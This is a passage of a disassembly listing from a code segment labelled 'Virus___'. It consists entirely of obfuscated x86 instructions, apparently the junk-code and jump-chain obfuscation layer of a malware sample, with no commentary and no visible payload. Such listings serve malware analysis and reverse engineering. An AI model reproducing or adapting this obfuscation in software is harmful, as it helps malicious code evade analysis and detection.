loc_5613AF: ; CODE XREF: Virus___:00563395j push ecx push 652636BCh pop ecx sub esp, 4 jmp loc_55EC88 ; --------------------------------------------------------------------------- loc_5613C1: ; CODE XREF: Virus___:0055779Aj or ah, 87h or ah, 67h sub ah, 24h add bl, 22h add bl, ah push cx mov ch, 22h sub bl, ch pop cx pop eax add bl, 86h push 629h jmp loc_55CB69 ; --------------------------------------------------------------------------- loc_5613E5: ; CODE XREF: Virus___:005581C0j jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_5613EA: ; CODE XREF: Virus___:0055EACEj not ch not ch and ch, 0BDh add ch, 48h xchg al, ch neg al jmp loc_558998 ; --------------------------------------------------------------------------- loc_5613FD: ; CODE XREF: Virus___:00562899j push ecx jmp loc_55B29D ; --------------------------------------------------------------------------- loc_561403: ; CODE XREF: Virus___:005546CDj pop ecx mov ebx, [esp] add esp, 4 jmp loc_55C6D4 ; --------------------------------------------------------------------------- loc_56140F: ; CODE XREF: Virus___:00561072j mov ch, 0E0h xor ch, bl pop ebx mov ah, ch pop ecx jmp loc_550909 ; --------------------------------------------------------------------------- loc_56141C: ; CODE XREF: Virus___:00558128j mov edi, 243472E9h jmp loc_55684F ; --------------------------------------------------------------------------- loc_561426: ; CODE XREF: Virus___:00551EC2j mov [esp], esp push esi mov esi, 4 jmp loc_55CC56 ; --------------------------------------------------------------------------- loc_561434: ; CODE XREF: Virus___:0056035Fj not eax add eax, 14010945h add ebp, eax pop eax push ecx mov ecx, 4 add ebp, ecx pop ecx xchg ebp, [esp] pop esp pop eax jmp loc_5649F4 ; --------------------------------------------------------------------------- loc_561451: ; CODE XREF: Virus___:00558266j mov dx, [esp] push edi jmp loc_55CB39 ; --------------------------------------------------------------------------- loc_56145B: ; CODE XREF: Virus___:0055EFBDj xor [esp], ebx xor ebx, [esp] pop esp or edx, eax shl edx, 1 push ecx jmp loc_5576DF ; --------------------------------------------------------------------------- loc_56146C: ; CODE XREF: Virus___:0055A63Ej jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_561471: ; CODE XREF: Virus___:00552FBEj mov ebp, [esp] jmp loc_557827 ; --------------------------------------------------------------------------- loc_561479: ; CODE XREF: Virus___:00551797j sub cl, ah jmp loc_552D5E ; --------------------------------------------------------------------------- loc_561480: ; CODE XREF: Virus___:00562087j mov esp, [esp] mov [esp], edx jmp loc_5556DD ; --------------------------------------------------------------------------- loc_56148B: ; CODE XREF: Virus___:005501E5j xor al, bl push 7F70h jmp loc_55EADF ; --------------------------------------------------------------------------- loc_561497: ; CODE XREF: Virus___:00557F24j add eax, 381A553Bh or eax, 20486C5Ah add eax, 0E0DDC2F0h jmp loc_55B7E9 ; --------------------------------------------------------------------------- loc_5614AB: ; CODE XREF: Virus___:005542CCj and eax, ebp pop ebp push ebp mov ebp, 0ED7A0E1Eh sub eax, ebp pop ebp mov edx, eax pop eax push edi push ecx mov ecx, 5FDE25F9h add ecx, 3BB764E4h inc ecx xor ecx, 87F5F67Dh mov edi, ecx pop ecx shr edi, 1 push 885h mov [esp], edx mov edx, 2BC90212h jmp loc_54FBCD ; --------------------------------------------------------------------------- loc_5614E5: ; CODE XREF: Virus___:0055CACDj mov esp, [esp] mov ax, [esp] push edx jmp loc_559D87 ; --------------------------------------------------------------------------- loc_5614F2: ; CODE XREF: Virus___:005593B9j pop ebp jmp loc_55E947 ; --------------------------------------------------------------------------- loc_5614F8: ; CODE XREF: Virus___:00559CC2j mov ebp, [esp] jmp loc_5508E9 ; --------------------------------------------------------------------------- loc_561500: ; CODE XREF: Virus___:00562590j push ebp mov ebp, 28A91252h neg ebp add ebp, 78F5475Dh or ebp, 54744BD1h not ebp add ebp, 606C9854h sub ecx, ebp mov ebp, [esp] add esp, 4 jmp loc_5619B9 ; --------------------------------------------------------------------------- loc_561529: ; CODE XREF: Virus___:005538CDj shl dword ptr [esp], cl jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_561531: ; CODE XREF: Virus___:00562146j pop esi pop edi push ecx mov ecx, 4 push esi mov esi, 1D883AD5h add edi, esi pop esi push ebx mov ebx, 6C2F68E7h sub ebx, 9201807h sub ebx, 4A9E3BD3h sub edi, ebx pop ebx add edi, ecx add edi, 1871150Dh sub edi, 1D883AD5h pop ecx push esi jmp loc_550B34 ; --------------------------------------------------------------------------- loc_56156C: ; CODE XREF: Virus___:0055410Ej mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_55B584 ; --------------------------------------------------------------------------- loc_56157F: ; CODE XREF: Virus___:0055C4F4j and edx, 6D72797Fh jmp loc_563793 ; --------------------------------------------------------------------------- loc_56158A: ; CODE XREF: Virus___:00563E5Fj push ebp mov ebp, 63C62DDCh xor ebp, eax jmp loc_56048F ; --------------------------------------------------------------------------- loc_561597: ; CODE XREF: Virus___:0055EFE1j mov edx, 35224EF7h add ebp, edx jmp loc_55935B ; --------------------------------------------------------------------------- loc_5615A3: ; CODE XREF: Virus___:00552422j neg edx xor edx, 0D5F58193h jmp loc_561006 ; --------------------------------------------------------------------------- loc_5615B0: ; CODE XREF: Virus___:00550392j add esi, 518A6B7Ah pop ecx push 542Bh mov [esp], ecx mov ecx, 4 add esi, ecx push dword ptr [esp] jmp loc_554DEE ; --------------------------------------------------------------------------- loc_5615CE: ; CODE XREF: Virus___:0055EAB2j push ebp mov ebp, 24AB096Ch shl ebp, 5 dec ebp jmp loc_55880E ; --------------------------------------------------------------------------- loc_5615DD: ; CODE XREF: Virus___:00559D6Bj add esi, ebx pop ebx jmp loc_5593D1 ; --------------------------------------------------------------------------- loc_5615E5: ; CODE XREF: Virus___:0054FF64j add edx, ebx jmp loc_55EB68 ; --------------------------------------------------------------------------- loc_5615EC: ; CODE XREF: Virus___:00561664j mov ecx, 3B4F49C3h neg ecx and ecx, 8370A80h xor ecx, 545949DAh xor ecx, edi xor edi, ecx xor ecx, edi not edi xchg edi, ecx add ecx, 0D43D4E50h xor eax, ecx pop ecx jmp loc_55F2D1 ; --------------------------------------------------------------------------- loc_561617: ; CODE XREF: Virus___:00558B41j xchg ebx, [esp] pop esp jmp loc_55889E ; --------------------------------------------------------------------------- loc_561620: ; CODE XREF: Virus___:0055E903j mov esi, 6A9A57D0h shl esi, 2 not esi sub esi, 0BF406C9h sub esi, 0CC0D3073h add ebx, esi pop esi add ebx, eax jmp loc_560B5B ; --------------------------------------------------------------------------- loc_561640: ; CODE XREF: Virus___:00556C73j mov esi, 41A426C8h jmp loc_5620F7 ; --------------------------------------------------------------------------- loc_56164A: ; CODE XREF: Virus___:00560857j add eax, 0A5795F69h sub ebx, eax mov eax, [esp] add esp, 4 jmp loc_5535BC ; --------------------------------------------------------------------------- loc_56165C: ; CODE XREF: Virus___:00556A01j push 4950h mov [esp], ecx jmp loc_5615EC ; --------------------------------------------------------------------------- loc_561669: ; CODE XREF: Virus___:005607D2j mov [esp], edx jmp loc_55438E ; --------------------------------------------------------------------------- loc_561671: ; CODE XREF: Virus___:0055182Aj push dword ptr [esp] pop eax add esp, 4 jmp loc_563639 ; --------------------------------------------------------------------------- loc_56167D: ; CODE XREF: Virus___:00560FBAj push eax jmp loc_55F6F2 ; --------------------------------------------------------------------------- loc_561683: ; CODE XREF: Virus___:0054FA94j pop ebx mov bh, dl push dword ptr [esp] pop edx push 7585h mov [esp], esi push esp jmp loc_5599FB ; --------------------------------------------------------------------------- loc_561698: ; CODE XREF: Virus___:00553665j add [esp+4], eax push edx mov edx, 2A226D79h jmp loc_55709F ; --------------------------------------------------------------------------- loc_5616A7: ; CODE XREF: Virus___:0055BE0Fj sub bh, 0D3h and al, bh jmp loc_562DBB ; --------------------------------------------------------------------------- loc_5616B1: ; CODE XREF: Virus___:00561DB0j push esi mov esi, 4 add edx, esi pop esi jmp loc_55CE24 ; --------------------------------------------------------------------------- loc_5616BF: ; CODE XREF: Virus___:0055D2ACj add edx, 282F9592h mov esi, edx pop edx push ebx mov ebx, 4FE96D17h push edx mov edx, 37737495h sub edx, 0F68D1B57h xor ebx, edx pop edx jmp loc_55D597 ; --------------------------------------------------------------------------- loc_5616E2: ; CODE XREF: Virus___:00559FF1j sub esp, 4 mov [esp], esi mov esi, 892D92A8h xor eax, esi pop esi jmp loc_55B1C5 ; --------------------------------------------------------------------------- loc_5616F8: ; CODE XREF: Virus___:00554563j add esp, 4 pop dword ptr [esp] jmp loc_55C751 ; --------------------------------------------------------------------------- loc_561706: ; CODE XREF: Virus___:00559432j push dword ptr [esp+4] pop edx pop dword ptr [esp] mov esp, [esp] push dword ptr [esp] push dword ptr [esp] pop ecx add esp, 4 jmp loc_555C16 ; --------------------------------------------------------------------------- loc_561723: ; CODE XREF: Virus___:0055FE33j add esp, 4 sub esp, 4 mov [esp], edx push dword ptr [esp+4] pop edx pop dword ptr [esp] jmp loc_56345F ; --------------------------------------------------------------------------- loc_561739: ; CODE XREF: Virus___:0055E0A5j or ecx, 25B757FEh xor ecx, 43082207h push ebx mov ebx, ecx jmp loc_55F10A ; --------------------------------------------------------------------------- loc_56174D: ; CODE XREF: Virus___:00558CCFj sub esi, ecx pop ecx add ecx, esi pop esi sub ecx, 1 push ebp mov ebp, 493D4D4Fh jmp loc_55DA9A ; --------------------------------------------------------------------------- loc_561764: ; CODE XREF: Virus___:00552862j push edi sub esp, 4 mov [esp], ebx jmp loc_559F58 ; --------------------------------------------------------------------------- loc_561770: ; CODE XREF: Virus___:00559695j xor ebp, esi pop esi jmp loc_55CCC6 ; --------------------------------------------------------------------------- loc_561778: ; CODE XREF: Virus___:0055C942j add esi, eax pop eax push edi mov edi, 4 add esi, edi jmp loc_56382B ; --------------------------------------------------------------------------- loc_561788: ; CODE XREF: Virus___:005554D0j push ecx mov ecx, 2CC03901h add ecx, 0FFFFFFFFh jmp loc_563190 ; --------------------------------------------------------------------------- loc_561799: ; CODE XREF: Virus___:00559DA9j add ecx, 49DC09F7h add eax, [ecx] jmp loc_551035 ; --------------------------------------------------------------------------- loc_5617A6: ; CODE XREF: Virus___:00563627j push dword ptr [esp] pop ecx jmp loc_55B43F ; --------------------------------------------------------------------------- loc_5617AF: ; CODE XREF: Virus___:00550F29j add edx, edi pop edi shr edx, 4 jmp loc_55C4C3 ; --------------------------------------------------------------------------- loc_5617BA: ; CODE XREF: Virus___:00563806j add esp, 4 pop dword ptr [esp] mov esp, [esp] idiv cl movzx cx, ah push edi push 21E8h mov [esp], esp add dword ptr [esp], 4 pop edi jmp loc_5579B0 ; --------------------------------------------------------------------------- loc_5617E2: ; CODE XREF: Virus___:00552A60j push edx mov edx, esp add edx, 4 sub esp, 4 mov [esp], ebx jmp loc_55471E ; --------------------------------------------------------------------------- loc_5617F6: ; CODE XREF: Virus___:00559F76j pop esp mov [esp], ebx jmp loc_5554A1 ; --------------------------------------------------------------------------- loc_5617FF: ; CODE XREF: Virus___:00559866j push 101Eh mov [esp], edx mov edx, esp push ebp mov ebp, 4DDD6AA5h or ebp, 2B870FE7h jmp loc_55D17D ; --------------------------------------------------------------------------- loc_56181A: ; CODE XREF: Virus___:0054FFC2j push edi jmp loc_56431B ; --------------------------------------------------------------------------- loc_561820: ; CODE XREF: Virus___:00553572j or ebx, 7B1D2A05h sub ebx, 0FFFFFFFFh jmp loc_557168 ; --------------------------------------------------------------------------- loc_56182E: ; CODE XREF: Virus___:0055F72Bj not dword ptr [esp] mov edx, [esp] add esp, 4 jmp loc_55B018 ; --------------------------------------------------------------------------- loc_56183F: ; CODE XREF: Virus___:00552D1Dj push dword ptr [esp+4] push dword ptr [esp] pop edi add esp, 4 jmp loc_5647DC ; --------------------------------------------------------------------------- loc_56184F: ; CODE XREF: Virus___:0055D6D0j mov [esp], eax push ebx mov ebx, 74AA0529h jmp loc_55BBE4 ; --------------------------------------------------------------------------- loc_56185D: ; CODE XREF: Virus___:00562654j mov esi, 4 mov edi, esi pop esi add ebp, edi pop edi push ecx mov ecx, 4 add ebp, ecx pop ecx xchg ebp, [esp] mov esp, [esp] pop dword ptr [esp] pop esp push 2D7h mov [esp], ebx jmp loc_551427 ; --------------------------------------------------------------------------- loc_561888: ; CODE XREF: Virus___:00561DD4j mov ecx, [esp] jmp loc_552935 ; --------------------------------------------------------------------------- loc_561890: ; CODE XREF: Virus___:0055ECC2j add edi, edx pop edx add edi, 4 push edi push dword ptr [esp+4] pop edi jmp loc_5558C2 ; --------------------------------------------------------------------------- loc_5618A1: ; CODE XREF: Virus___:0055607Aj pop esp mov [esp], edx mov edx, esp push edi push 4 pop edi add edx, edi mov edi, [esp] add esp, 4 add edx, 4 push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] jmp loc_55E78A ; --------------------------------------------------------------------------- loc_5618CA: ; CODE XREF: Virus___:0055985Dj xor esi, 0F256ACh xor ecx, esi pop esi mov [edx+30h], ecx mov ecx, [esp] push 1BBFh mov [esp], edx jmp loc_5606AA ; --------------------------------------------------------------------------- loc_5618E6: ; CODE XREF: Virus___:0054FF26j shr ecx, 1 jmp loc_5562F5 ; --------------------------------------------------------------------------- loc_5618ED: ; CODE XREF: Virus___:00554A84j sub esp, 4 jmp loc_55FA60 ; --------------------------------------------------------------------------- loc_5618F8: ; CODE XREF: Virus___:00559642j pop esi add esi, 7276D17h pop edx push ebx mov ebx, 7DA461A2h and esi, ebx push dword ptr [esp] jmp loc_55131E ; --------------------------------------------------------------------------- loc_561910: ; CODE XREF: Virus___:00551091j push ecx mov ecx, 14F06BB6h add ebp, ecx jmp loc_561E8F ; --------------------------------------------------------------------------- lodsd jmp loc_551A63 ; --------------------------------------------------------------------------- loc_561923: ; CODE XREF: Virus___:0054FF92j mov esi, 5A17018Dh neg esi shr esi, 3 jmp loc_55DEBE ; --------------------------------------------------------------------------- loc_561932: ; CODE XREF: Virus___:0055AD9Cj mov [esp], eax push esi pop eax push dword ptr [esp] jmp loc_5612BE ; --------------------------------------------------------------------------- loc_56193F: ; CODE XREF: Virus___:0055D0E3j mov ebx, 9A723E4h inc ebx shr ebx, 4 add ebx, 58BD3E1Ch jmp loc_55770D ; --------------------------------------------------------------------------- loc_561953: ; CODE XREF: Virus___:00553D1Aj shl eax, 3 shl eax, 3 push ebp mov ebp, 1F07A9F8h xor eax, ebp pop ebp jmp loc_55A2F0 ; --------------------------------------------------------------------------- loc_561967: ; CODE XREF: Virus___:00555730j dec esi xor esi, 645564B3h jmp loc_561394 ; --------------------------------------------------------------------------- loc_561973: ; CODE XREF: Virus___:005611F4j sub esp, 4 mov [esp], esi jmp loc_558E84 ; --------------------------------------------------------------------------- loc_56197E: ; CODE XREF: Virus___:0055C813j push dword ptr [esp+4] jmp loc_56364F ; --------------------------------------------------------------------------- loc_561987: ; CODE XREF: Virus___:00553BC8j add edx, 5DC20B6Dh sub edx, 39B304F2h sub edx, 6A1D73F1h jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_56199E: ; CODE XREF: Virus___:005511C7j xor [esp], edx xor edx, [esp] jmp loc_55E110 ; --------------------------------------------------------------------------- loc_5619A9: ; CODE XREF: Virus___:00562322j mov edi, 0F7D61C0h add eax, edi mov edi, [esp] push esi jmp loc_55E705 ; --------------------------------------------------------------------------- loc_5619B9: ; CODE XREF: Virus___:00561524j pop ebp jmp loc_555D89 ; --------------------------------------------------------------------------- loc_5619BF: ; CODE XREF: Virus___:005591CBj mov esi, 4 jmp loc_556971 ; --------------------------------------------------------------------------- loc_5619C9: ; CODE XREF: Virus___:0055163Fj pop ecx push dword ptr [esp] pop edi jmp loc_55F371 ; --------------------------------------------------------------------------- loc_5619D3: ; CODE XREF: Virus___:005504ABj mov ebp, [esp] add esp, 4 push dword ptr [esp] pop esi jmp loc_54FB4A ; --------------------------------------------------------------------------- loc_5619E2: ; CODE XREF: Virus___:0055DB1Fj add esp, 4 sub ecx, 4A6C0EB3h sub ecx, edi push ebx mov ebx, 2D30CB2h inc ebx sub ebx, 0B866FE00h add ecx, 19460238h add ecx, ebx sub ecx, 19460238h mov ebx, [esp] add esp, 4 sub ecx, 12A30F3Fh pop edi xchg ecx, [esp] jmp loc_5569B3 ; --------------------------------------------------------------------------- loc_561A23: ; CODE XREF: Virus___:0055C0D0j push dword ptr [esp] mov edx, [esp] jmp loc_55140F ; --------------------------------------------------------------------------- loc_561A2E: ; CODE XREF: Virus___:00562DC5j push ebx mov bl, ch mov ch, al mov al, bl pop ebx shr al, 2 add al, 8Ch jmp loc_553C25 ; --------------------------------------------------------------------------- loc_561A40: ; CODE XREF: Virus___:00551FD0j mov [esp], ebp jmp loc_5603F2 ; --------------------------------------------------------------------------- loc_561A48: ; CODE XREF: Virus___:0055632Dj pop edx add esi, 124B5FE6h add esi, 1A06D75h add esi, edx sub esi, 1A06D75h push 2154h mov [esp], ecx jmp loc_560AA9 ; --------------------------------------------------------------------------- loc_561A6A: ; CODE XREF: Virus___:0055DFCDj push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp sub ebx, 550C0FC9h add ebx, edi add ebx, 550C0FC9h push esi jmp loc_54FE72 ; --------------------------------------------------------------------------- loc_561A8E: ; CODE XREF: Virus___:005594F2j add esp, 4 pop dword ptr [esp] jmp loc_554F85 ; --------------------------------------------------------------------------- loc_561A99: ; CODE XREF: Virus___:0055EADAj push 407Eh push esp pop dword ptr [esp] push ebx jmp loc_55D19D ; --------------------------------------------------------------------------- loc_561AA8: ; CODE XREF: Virus___:0055B5CCj mov ebx, 5C86615h jmp loc_559A17 ; --------------------------------------------------------------------------- loc_561AB2: ; CODE XREF: Virus___:00555A30j pop edx jmp loc_55FD2F ; --------------------------------------------------------------------------- loc_561AB8: ; CODE XREF: Virus___:005519A4j xchg ecx, [esp] jmp loc_553E96 ; --------------------------------------------------------------------------- loc_561AC0: ; CODE XREF: Virus___:0055784Dj mov esi, esp add esi, 4 jmp loc_55C5A1 ; --------------------------------------------------------------------------- loc_561ACD: ; CODE XREF: Virus___:005517FEj mov ecx, 90037DCh push esi jmp loc_5534A9 ; --------------------------------------------------------------------------- loc_561AD8: ; CODE XREF: Virus___:005583D0j sub edi, ecx sub edi, 73A6272Fh pop ecx add edi, edx sub esp, 4 mov [esp], eax mov eax, 30F22205h add eax, 60175C8Ch add eax, 86BCE9E4h add edi, eax pop eax mov edx, [esp] jmp loc_555872 ; --------------------------------------------------------------------------- loc_561B03: ; CODE XREF: Virus___:00550740j mov eax, esp push edi mov edi, 542604C8h not edi jmp loc_55B087 ; --------------------------------------------------------------------------- loc_561B12: ; CODE XREF: Virus___:00563D15j push 0D9Eh mov [esp], ebp push 6E30h push esp pop dword ptr [esp] push esi push 7B8115CFh pop esi shl esi, 1 push eax mov eax, 2E1B4510h xor esi, eax pop eax push edi mov edi, 1 sub esi, edi jmp loc_55568A ; --------------------------------------------------------------------------- loc_561B42: ; CODE XREF: Virus___:0055CB8Aj pop dword ptr [esp] mov esp, [esp] shr word ptr [esp], cl pushf jmp loc_55AC51 ; --------------------------------------------------------------------------- loc_561B52: ; CODE XREF: Virus___:00563E9Ej push 54Ah mov [esp], edi jmp loc_55663E ; --------------------------------------------------------------------------- loc_561B5F: ; CODE XREF: Virus___:0055E4E3j sub ebp, 0FAFDDDAEh sub ecx, ebp jmp loc_550560 ; --------------------------------------------------------------------------- loc_561B6C: ; CODE XREF: Virus___:00563941j mov [esp], ecx jmp loc_555452 ; --------------------------------------------------------------------------- loc_561B74: ; CODE XREF: Virus___:00558649j push dword ptr [esp+4] jmp loc_562175 ; --------------------------------------------------------------------------- loc_561B7D: ; CODE XREF: Virus___:00556B40j pop esp sub esp, 4 mov [esp], ebx mov ebx, esp add ebx, 4 push esi mov esi, 4 sub ebx, esi jmp loc_550FEF ; --------------------------------------------------------------------------- loc_561B99: ; CODE XREF: Virus___:0055D267j mov esp, [esp] mov [esp], esi jmp loc_55F845 ; --------------------------------------------------------------------------- loc_561BA4: ; CODE XREF: Virus___:00564143j pop ecx jmp loc_55645B ; --------------------------------------------------------------------------- loc_561BAA: ; CODE XREF: Virus___:00552FF6j sub esp, 4 mov [esp], ecx jmp loc_552163 ; --------------------------------------------------------------------------- loc_561BB8: ; CODE XREF: Virus___:0055CDBCj mov edi, [esp] add esp, 4 pop dword ptr [esp] jmp loc_556350 ; --------------------------------------------------------------------------- loc_561BC9: ; CODE XREF: Virus___:0054FCF7j sub esp, 4 mov [esp], esp add dword ptr [esp], 4 mov edi, [esp] add esp, 4 push 5CCEh mov [esp], esi push 1F4Dh mov [esp], eax mov eax, 1BD84556h jmp loc_55453A ; --------------------------------------------------------------------------- loc_561BF6: ; CODE XREF: Virus___:0055BBBEj mov edi, [esp] add esp, 4 sub ebp, 0FFFFFFFFh jmp loc_55D414 ; --------------------------------------------------------------------------- loc_561C07: ; CODE XREF: Virus___:00561C72j pop edi push 1DD9h jmp loc_55E466 ; --------------------------------------------------------------------------- loc_561C12: ; CODE XREF: Virus___:00562D9Cj pop edx xchg eax, esi jmp loc_560B7B ; --------------------------------------------------------------------------- loc_561C19: ; CODE XREF: Virus___:0055736Fj push 3273h mov [esp], esi mov esi, 405035Ch and esi, 369526D9h sub esi, 0ECEBFBEAh mov edi, 77317595h sub edi, esi pop esi push eax mov eax, 60186F25h jmp loc_555BCA ; --------------------------------------------------------------------------- loc_561C45: ; CODE XREF: Virus___:00556602j mov [esp], edi sub esp, 4 mov [esp], edx jmp loc_556133 ; --------------------------------------------------------------------------- loc_561C53: ; CODE XREF: Virus___:00550626j sub edx, edi pop edi add edx, ebp push edi mov edi, 5FB3112Eh xor edi, 1FF51B11h xor edi, 33F60DBDh sub edi, 513FCFEBh add edx, edi jmp loc_561C07 ; --------------------------------------------------------------------------- loc_561C77: ; CODE XREF: Virus___:00551A4Cj add ebp, ecx pop ecx jmp loc_560DEE ; --------------------------------------------------------------------------- loc_561C7F: ; CODE XREF: Virus___:00553388j add eax, 4 xchg eax, [esp] pop esp jmp loc_558DF5 ; --------------------------------------------------------------------------- loc_561C8B: ; CODE XREF: Virus___:005626B4j pop edi xor edi, 249635CFh or edi, 70543EA2h jmp loc_554343 ; --------------------------------------------------------------------------- loc_561C9D: ; CODE XREF: Virus___:00555E19j mov ecx, [esp] add esp, 4 mov edi, ebp pop ebp jmp loc_553158 ; --------------------------------------------------------------------------- loc_561CAE: ; CODE XREF: Virus___:005605C2j push 63CBh mov [esp], ebx mov ebx, 1046551h add ebx, 5ADD0372h sub ebx, 40586B4Bh jmp loc_5603DE ; --------------------------------------------------------------------------- loc_561CCC: ; CODE XREF: Virus___:005564B3j add ebp, 4 jmp loc_550DF9 ; --------------------------------------------------------------------------- loc_561CD7: ; CODE XREF: Virus___:00553E35j mov [esp], eax jmp loc_553771 ; --------------------------------------------------------------------------- loc_561CDF: ; CODE XREF: Virus___:005515BBj mov ch, dh jmp loc_55F400 ; --------------------------------------------------------------------------- loc_561CE6: ; CODE XREF: Virus___:0054F9CFj mov edi, 380B5D89h dec edi jmp loc_55B189 ; --------------------------------------------------------------------------- loc_561CF1: ; CODE XREF: Virus___:005551F1j add ebp, 4 xchg ebp, [esp] pop esp jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_561CFD: ; CODE XREF: Virus___:00555A67j add eax, edx pop edx sub eax, 4 jmp loc_563930 ; --------------------------------------------------------------------------- loc_561D08: ; CODE XREF: Virus___:00560976j mov edx, 1360752Dh dec edx dec edx shl edx, 5 sub edx, 3A023425h xor edx, 51604363h or edx, 6DD956C3h jmp loc_55DCC4 ; --------------------------------------------------------------------------- loc_561D29: ; CODE XREF: Virus___:0055F593j push edx pop ebp jmp loc_5563DA ; --------------------------------------------------------------------------- loc_561D30: ; CODE XREF: Virus___:005606F8j add esi, 4 xchg esi, [esp] pop esp jmp loc_564BB0 ; --------------------------------------------------------------------------- loc_561D3F: ; CODE XREF: Virus___:0054FBBBj pop edi pop esi add esi, 63EC450Dh jmp loc_55816A ; --------------------------------------------------------------------------- loc_561D4C: ; CODE XREF: Virus___:00558C37j add ebx, eax add ebx, 48FD5274h pop eax xchg ebx, [esp] jmp loc_55B75B ; --------------------------------------------------------------------------- loc_561D5D: ; CODE XREF: Virus___:00557E53j add esp, 4 push edi mov edi, 1E245DF0h shr edi, 2 jmp loc_54FB72 ; --------------------------------------------------------------------------- loc_561D6E: ; CODE XREF: Virus___:0055F8DEj add esi, 4 jmp loc_5625D3 ; --------------------------------------------------------------------------- loc_561D79: ; CODE XREF: Virus___:0055B487j add dword ptr [esp], 4 jmp loc_54F814 ; --------------------------------------------------------------------------- loc_561D85: ; CODE XREF: Virus___:00558C97j add esp, 4 push edi mov edx, [esp] add esp, 4 pop edi jmp loc_55D80D ; --------------------------------------------------------------------------- loc_561D95: ; CODE XREF: Virus___:0055D39Dj shr ebp, 2 jmp loc_5633AE ; --------------------------------------------------------------------------- loc_561D9D: ; CODE XREF: Virus___:0056078Bj push edi mov edi, esp add edi, 4 add edi, 4 jmp loc_55184C ; --------------------------------------------------------------------------- loc_561DAE: ; CODE XREF: Virus___:005549BEj mov edx, esp jmp loc_5616B1 ; --------------------------------------------------------------------------- loc_561DB5: ; CODE XREF: Virus___:00557CF6j mov esi, [esp] jmp loc_54F9D4 ; --------------------------------------------------------------------------- loc_561DBD: ; CODE XREF: Virus___:0055ADA8j sub al, ch mov cx, [esp] add esp, 2 sub al, 52h jmp loc_552A65 ; --------------------------------------------------------------------------- loc_561DCD: ; CODE XREF: Virus___:00558DE1j xor dword ptr [esp], 3DF36E7Eh jmp loc_561888 ; --------------------------------------------------------------------------- loc_561DD9: ; CODE XREF: Virus___:005557F1j pop dword ptr [esp] pop esp mov eax, [esp] push 6898h mov [esp], ecx push esp pop ecx add ecx, 4 jmp loc_554354 ; --------------------------------------------------------------------------- loc_561DF5: ; CODE XREF: Virus___:00558FEAj inc edi xor edi, 5A4768EFh jmp loc_55B988 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop eax sbb [esp], eax pushf jmp loc_54F7ED ; --------------------------------------------------------------------------- loc_561E0F: ; CODE XREF: Virus___:0055F5DAj mov [esp], ebp mov ebp, esp push edi push 4 pop edi jmp loc_5647E4 ; --------------------------------------------------------------------------- push 0B75h jmp loc_55020D ; --------------------------------------------------------------------------- loc_561E2A: ; CODE XREF: Virus___:00554F30j mov ebx, 51381489h shl ebx, 1 jmp loc_553E3A ; --------------------------------------------------------------------------- loc_561E36: ; CODE XREF: Virus___:0055653Cj push 4272h mov [esp], ebp push ebx jmp loc_560157 ; --------------------------------------------------------------------------- loc_561E44: ; CODE XREF: Virus___:0055D7FFj mov al, cl mov bh, al pop eax mov ah, bh mov ebx, [esp] add esp, 4 pop ecx jmp loc_55F28E ; --------------------------------------------------------------------------- loc_561E57: ; CODE XREF: Virus___:0055B38Fj add ecx, 0F3440A46h jmp loc_563092 ; --------------------------------------------------------------------------- loc_561E62: ; CODE XREF: Virus___:005557CCj push dword ptr [esp] pop eax add esp, 4 sub al, dh pop dx add al, 9Ah jmp loc_55318A ; --------------------------------------------------------------------------- loc_561E74: ; CODE XREF: Virus___:00556250j push esp pop edi push ebx jmp loc_5562A4 ; --------------------------------------------------------------------------- loc_561E7C: ; CODE XREF: Virus___:005641DBj pop dx add al, bh sub al, 2Fh sub esp, 4 mov [esp], ebx mov bh, 13h jmp loc_5594CD ; --------------------------------------------------------------------------- loc_561E8F: ; CODE XREF: Virus___:00561918j pop ecx mov ecx, [esp] jmp loc_55B4A4 ; --------------------------------------------------------------------------- loc_561E98: ; CODE XREF: Virus___:00550730j push dword ptr [esp+4] push dword ptr [esp] pop edx jmp loc_559A89 ; --------------------------------------------------------------------------- loc_561EA5: ; CODE XREF: Virus___:0055CF6Dj sub esp, 4 mov [esp], ebx push esi mov esi, 243A1FB3h sub esp, 4 mov [esp], esi jmp loc_5648C8 ; --------------------------------------------------------------------------- loc_561EC2: ; CODE XREF: Virus___:00564726j push edx push 7329226Bh jmp loc_552872 ; --------------------------------------------------------------------------- loc_561ECD: ; CODE XREF: Virus___:00551DDFj mov [esp], eax mov eax, esp add eax, 4 push ecx mov ecx, 4 add eax, 48DB7F08h jmp loc_5572DF ; --------------------------------------------------------------------------- loc_561EE7: ; CODE XREF: Virus___:0055423Dj pop ebx jmp loc_55E2EC ; --------------------------------------------------------------------------- loc_561EED: ; CODE XREF: Virus___:00555AC0j xor ah, bl mov ebx, [esp] jmp loc_55F15F ; --------------------------------------------------------------------------- loc_561EF7: ; CODE XREF: Virus___:0055140Aj push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], edx mov edx, 646C59B8h add edx, 0F10E246Ah sub ecx, edx jmp loc_563D85 ; --------------------------------------------------------------------------- loc_561F1C: ; CODE XREF: Virus___:00559311j mov esp, [esp] pop ecx add ecx, 15D266E1h push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] jmp loc_55EEBB ; --------------------------------------------------------------------------- loc_561F3D: ; CODE XREF: Virus___:005516B1j mov dl, 0Dh push ebx mov bl, dl mov cl, bl pop ebx pop edx push edx jmp loc_55C0C1 ; --------------------------------------------------------------------------- loc_561F4C: ; CODE XREF: Virus___:00550A8Aj push dword ptr [esp] pop eax add esp, 4 sub edx, edi pop edi jmp loc_558DB6 ; --------------------------------------------------------------------------- loc_561F5B: ; CODE XREF: Virus___:00563FFEj mov [esp], eax mov eax, ebp mov [edi+24h], eax pop eax pop ebp mov eax, [esp] add esp, 4 xor edx, edx push 63F7h mov [esp], edi push 2938h mov [esp], eax push esp mov eax, [esp] add esp, 4 jmp loc_557033 ; --------------------------------------------------------------------------- loc_561F89: ; CODE XREF: Virus___:00550343j pop eax shl esi, 2 neg esi add esi, 1363A2AEh sub ecx, 7A006B15h sub ecx, esi add ecx, 7A006B15h pop esi add eax, 0B8509D3h jmp loc_55AC56 ; --------------------------------------------------------------------------- 